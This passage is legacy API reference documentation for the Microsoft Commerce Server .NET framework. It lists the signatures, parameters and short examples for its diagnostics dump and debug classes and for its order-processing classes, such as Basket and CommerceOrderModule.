DumpUtils.DumpObject (Object, HtmlTextWriter, String, Int32) Method (BCL)

Use this method to dump an object to the HtmlTextWriter object.

Definition

[Visual Basic .NET]
Public Shared Sub DumpObject( _
  ByVal obj As System.Object, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String, _
  ByVal level As System.Int32 _
)
[C#]
public static void DumpObject(
  System.Object obj,
  System.Web.UI.HtmlTextWriter output,
  System.String name,
  System.Int32 level
);

Parameters

[Visual Basic .NET]
obj
The object to be dumped.
output
The output stream to dump to.
name
The name of the object to output.
level
The indentation level.
[C#]
obj
The object to be dumped.
output
The output stream to dump to.
name
The name of the object to output.
level
The indentation level.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpRecordset (_Recordset, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Recordset object to the HtmlTextWriter object with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpRecordset( _
  ByVal rs As ADODB._Recordset, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpRecordset(
  ADODB._Recordset rs,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
rs
The Recordset object to dump.
output
The output stream.
name
The name of object for display purposes.
[C#]
rs
The Recordset object to dump.
output
The output stream.
name
The name of object for display purposes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpSimpleList (ISimpleList, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Commerce.SimpleList object to the output stream with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpSimpleList( _
  ByVal list As Microsoft.CommerceServer.Runtime.ISimpleList, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpSimpleList(
  Microsoft.CommerceServer.Runtime.ISimpleList list,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
list
The SimpleList to be dumped.
output
The output stream.
name
The name for display.
[C#]
list
The SimpleList to be dumped.
output
The output stream.
name
The name for display.

Example

To supply the DumpSimpleList method with an HtmlTextWriter object that wraps the ASP .NET Response object, you must supply an output parameter.

[C#]
using Microsoft.CommerceServer.Runtime.Diagnostics;

SimpleList list = new SimpleListClass();
object objTemp = "New Value Number One";
list.Add(ref objTemp);
DumpUtils.DumpSimpleList(list, new HtmlTextWriter(Response.Output), "Product");
[Visual Basic .NET]
Imports Microsoft.CommerceServer.Runtime
Imports Microsoft.CommerceServer.Runtime.Diagnostics

Dim list As New SimpleList()
list.Add("New Value Number one")
Call DumpUtils.DumpSimpleList(list, New HtmlTextWriter(Response.Output), "My SimpleList")

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.ContainerType Enumeration (BCL)

Enumeration of the different container object types supported.

Members

Member name | Description
Array | Safe array
DataContainer | IDataContainer (ContentList or ContentListFactory)
Dictionary | Commerce.Dictionary
Fields | Fields collection
ReadOnlyStringCollection | ReadOnlyStringCollection
Recordset | Recordset
SimpleList | Commerce.Simplelist
Unknown | Unknown object type

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Class (BCL)

The WebDebugContext class represents the current debugging level for the application. It represents the debug mode and has methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.

Public Instance Constructor

Constructor | Description
WebDebugContext Constructor(DebugMode) | Creates a new instance of the WebDebugContext class.

Public Instance Methods

Method | Description
Error(String, String) | Records an error and an exception.
Error(String, String, Exception) | Records an error.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message and an exception.
Warn(String, String, Exception) | Records a warning message.

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to true if the current DebugMode property is set to either Debug or the superset Checked mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
WebDebugContext Constructor(DebugMode) | Creates a new instance of the WebDebugContext class.


WebDebugContext Constructor (DebugMode) (BCL)

Use this method to create a new instance of the WebDebugContext class.

[Visual Basic .NET]
Public Sub New( _
  ByVal dbgMode As DebugMode _
)
[C#]
public WebDebugContext(
  DebugMode dbgMode
);

Parameters

[Visual Basic .NET]
dbgMode
The debug mode enumerator.
[C#]
dbgMode
The debug mode enumerator.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Methods (BCL)

Public Instance Methods

Method | Description
Error(String, String) | Records an error and an exception.
Error(String, String, Exception) | Records an error.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message and an exception.
Warn(String, String, Exception) | Records a warning message.


WebDebugContext.Error (String, String) Method (BCL)

Use this method to record an error.

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Error(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Error (String, String, Exception) Method (BCL)

Use this method to record an error and an exception.

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Error(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The inner exception.
[C#]
category
The debug category.
message
The debug message.
ex
The inner exception.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Trace (String, String) Method (BCL)

Use this method to record an informational trace message.

[Visual Basic .NET]
Overrides Public Sub Trace( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Trace(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Warn (String, String) Method (BCL)

Use this method to record a warning message.

[Visual Basic .NET]
Overrides Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Warn(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Warn (String, String, Exception) Method (BCL)

Use this method to record an error message and an exception.

[Visual Basic .NET]
Overrides Pubic Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Warn(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The exception.
[C#]
category
The debug category.
message
The debug message.
ex
The exception.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Properties (BCL)

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to true if the current DebugMode property is set to either Debug or the superset Checked mode.


Microsoft.CommerceServer.Runtime.Orders

The classes in the Microsoft.CommerceServer.Runtime.Orders namespace contain the order processing functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Orders Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Orders namespace.

Classes

Class | Description
Basket | Encapsulates a basket in the Commerce Server order system. The user ID must be specified to create an instance of this class.
CommerceOrderModule | Creates the default OrderContext object for the site.
CommerceOrderSystemException | Base class for exceptions thrown from order system subsystem.
LineItem | Abstracts a line item on an order form.
LineItemCollection | Encapsulates the collection of line items associated with the order form.
OrderAddress | Abstracts an element of the order address collection.
OrderAddressCollection | Collection of addresses associated with an order form.
OrderContext | Represents a connection to a transactions database. The construction of an OrderGroup object requires an OrderContext object.
OrderForm | Encapsulates an order form instance.
OrderFormCollection | Encapsulates the collection of order forms on an OrderGroup object.
OrderGroup | Abstract base class for all OrderGroup object types in the Commerce Server order system.
OrderGroupSearch | Abstracts the criteria for order group searches.
OrderGroupSearchOptions | Abstracts OrderGroup object search results specification.
OrderTemplate | Encapsulates an order template in the Commerce Server order system. The user ID and template ID must be specified to create an instance of this class.
PipelineInfo | Encapsulates the context dictionary passed down to run a pipeline.
PurchaseOrder | Encapsulates a saved order in the Commerce Server order system. The user ID and the order ID must both be specified to create an instance of this class.

Structures

Structure | Description
EuroConversionTable | Specifies conversion rates from all 12 European currencies to EURO.

Examples

Example | Description
Code to Manipulate a Basket on an ASP.NET Web Form | Describes how to manipulate a basket on an ASP.NET Web form.
Code to Set Shipping Methods on a Basket on an ASP.NET Web Form | Describes how to set shipping methods on a basket.
Code to Dump an Order Form | Describes how to dump the contents of an order form.

See Also

Commerce Server .NET Application Framework Tutorial


Basket Class (BCL)

Encapsulates a basket in the Commerce Server order system. The user ID must be specified to create an instance of this class.

Public Instance Methods

Method | Description
Add(OrderTemplate) | Adds the items from the specified order template to the basket instance.
Add(PurchaseOrder) | Adds the items from the specified purchase order to the basket instance.
Clear | Clears all the order forms and the addresses associated with the basket instance.
Delete | Purges the basket instance from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves the enumerator on this OrderGroup instance.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the basket instance to the underlying stores.
SaveAsOrder | Persists the basket instance as a purchase order to the underlying stores.
SetBillingAddress(String) | Sets the billing address property on every order form in the basket.
SetPropertyOnOrderForms(String, Object) | Sets the specified property on every order form in the basket.
SetShippingAddress(String) | Sets the shipping address property on every line item of every order form in the basket.

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the addresses collection associated with the OrderGroup instance.
BasketID | Accesses the BasketID field.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal property for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this basket instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal property in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal property in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling and tax.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket Methods (BCL)

Public Instance Methods

Method | Description
Add(OrderTemplate) | Adds the items from the specified order template to the basket instance.
Add(PurchaseOrder) | Adds the items from the specified purchase order to the basket instance.
Clear | Clears all the order forms and the addresses associated with the basket instance.
Delete | Purges the basket instance from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves the enumerator on this OrderGroup instance
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the basket instance to the underlying stores.
SaveAsOrder | Persists the basket instance as a purchase order to the underlying stores.
SetBillingAddress(String) | Sets the billing address property on every order form in the basket.
SetPropertyOnOrderForms(String, Object) | Sets the specified property on every order form in the basket.
SetShippingAddress(String) | Sets the shipping address property on every line item of every order form in the basket.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Add (OrderTemplate) Method (BCL)

Use this method to add items from the specified order template to this basket instance.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal orderTemplate As OrderTemplate _
)
[C#]
public void Add(
  OrderTemplate orderTemplate
);

Parameters

[Visual Basic .NET]
orderTemplate
The order template instance to add to the basket.
[C#]
orderTemplate
The order template instance to add to the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Add (PurchaseOrder) Method (BCL)

Use this method to add items from the specified purchase order to this basket instance.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal purchaseOrder As PurchaseOrder _
)
[C#]
public void Add(
  PurchaseOrder purchaseOrder
);

Parameters

[Visual Basic .NET]
purchaseOrder
The purchase order instance to add to the basket.
[C#]
purchaseOrder
The purchase order instance to add to the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Clear Method (BCL)

Use this method to clear all the order forms and the addresses associated with this basket instance.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Delete Method (BCL)

Use this method to purge the basket instance from the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Delete( _
)
[C#]
public void Delete(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroupManager Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and to optionally release the managed resources.

Definition

[Visual Basic .NET]
Overrides Protected Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected override void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
A Boolean indicating if the object can be disposed.
[C#]
disposing
A Boolean indicating if the object can be disposed.

Remarks

This method releases the resources held by this object, and marks the object as disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.Save Method (BCL)

Use this method to persist the basket to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
)
[C#]
public void Save(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SaveAsOrder Method (BCL)

Use this method to persist the basket as a purchase order to the underlying stores.

Definition

[Visual Basic .NET]
Public Function SaveAsOrder( _
) As PurchaseOrder
[C#]
public PurchaseOrder SaveAsOrder(
);

Return Value

The saved purchase order instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

OrderGroup Object

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SetBillingAddress (String) Method (BCL)

Use this method to set the billing address property on every order form in the basket.

Definition

[Visual Basic .NET]
Public Sub SetBillingAddress( _
  ByVal billingAddress As System.String _
)
[C#]
public void SetBillingAddress(
  System.String billingAddress
);

Parameters

[Visual Basic .NET]
billingAddress
The billing address ID.
[C#]
billingAddress
The billing address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SetPropertyOnOrderForms (String, Object) Method (BCL)

Use this method to set the specified property on every order form in the basket.

Definition

[Visual Basic .NET]
Public Sub SetPropertyOnOrderForms( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.Object _
)
[C#]
public void SetPropertyOnOrderForms(
  System.String keyName,
  System.Object keyValue
);

Parameters

[Visual Basic .NET]
keyName
The name of the property.
keyValue
The value of the property.
[C#]
keyName
The name of the property.
keyValue
The value of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.SetShippingAddress (String) Method (BCL)

Use this method to set the shipping address property on every line item of every order form in the basket.

Definition

[Visual Basic .NET]
Public Sub SetShippingAddress( _
  ByVal shippingAddress As System.String _
)
[C#]
public void SetShippingAddress(
  System.String shippingAddress
);

Parameters

[Visual Basic .NET]
shippingAddress
The shipping address ID.
[C#]
shippingAddress
The shipping address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket Properties (BCL)

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the addresses collection associated with the OrderGroup instance.
BasketID | Accesses the BasketID field.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal property for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this basket instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal property in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal property in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling and tax.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.BasketID Property (BCL)

The BasketId property is a read-only Guid that returns the GUID for this basket instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property BasketId As System.Guid
[C#]
public System.Guid BasketId {get;}

Property Value

The GUID for the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


Basket.StatusCode Property (BCL)

The StatusCode property is a read-only integer that contains the order group status code for the basket instance.

Definition

[Visual Basic .NET]
Public Overridable ReadOnly Property StatusCode As System.Int32
[C#]
public virtual System.Int32 StatusCode {get;}

Property Value

The status code for the basket instance.

Remarks

If this property is not set (as is the case for newly created in-memory basket instances), this property returns 1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


CommerceOrderModule Class (BCL)

Creates the default OrderContext object for the Commerce Server site.

Public Instance Constructor

Constructor | Description
CommerceOrderModule Constructor | Creates a new instance of the CommerceOrderModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.
OnBeginRequest(Object, EventArgs) | Handles events for the HttpApplication object BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
OrderContext | Gets the OrderContext instance created by the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceOrderModule Constructor | Creates a new instance of the CommerceOrderModule class.


CommerceOrderModule Constructor (BCL)

Use this method to create a new CommerceOrderModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceOrderModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.
OnBeginRequest(Object, EventArgs) | Handles events for the HttpApplication object BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceOrderModule.Init(HttpApplication) Method (BCL)

Use this method to subscribe the class to application BeginRequest events.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method to handle the HttpApplication object BeginRequest events.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The event arguments.
[C#]
sender
The HttpApplication instance that sent the event.
e
The event arguments.

Remarks

Sets the OrderContext member of the current CommerceContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
OrderContext | Gets the OrderContext instance created by the module.


CommerceOrderModule.OrderContext Property (BCL)

The OrderContext property is a read-only property that gets the OrderContext instance created by the module.

Definition

[Visual Basic .NET]
Public ReadOnly Property OrderContext As OrderContext
[C#]
public OrderContext OrderContext {get;}

Property Value

The OrderContext instance created by the module.

Remarks

The value will be null if the CommerceOrderModule class was not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.OrderSystem property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Class (BCL)

Base class for exceptions thrown from the Order System sub system.

Public Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor | Creates a new instance of the CommerceOrderSystemException class.
CommerceOrderSystemException Constructor(String) | Creates a new instance of the CommerceOrderSystemException class with the specified message string.
CommerceOrderSystemException Constructor(String, Exception) | Creates a new instance of the CommerceOrderSystemException class with the specified message string and specified inner exception.

Protected Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceOrderSystemException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor | Creates a new instance of the CommerceOrderSystemException class.
CommerceOrderSystemException Constructor(String) | Creates a new instance of the CommerceOrderSystemException class with the specified message string.
CommerceOrderSystemException Constructor(String, Exception) | Creates a new instance of the CommerceOrderSystemException class with the specified message string and specified inner exception.

Protected Instance Constructor

Constructor | Description
CommerceOrderSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceOrderSystemException class with the specified serialization information and streaming context.


CommerceOrderSystemException Constructor (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceOrderSystemException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
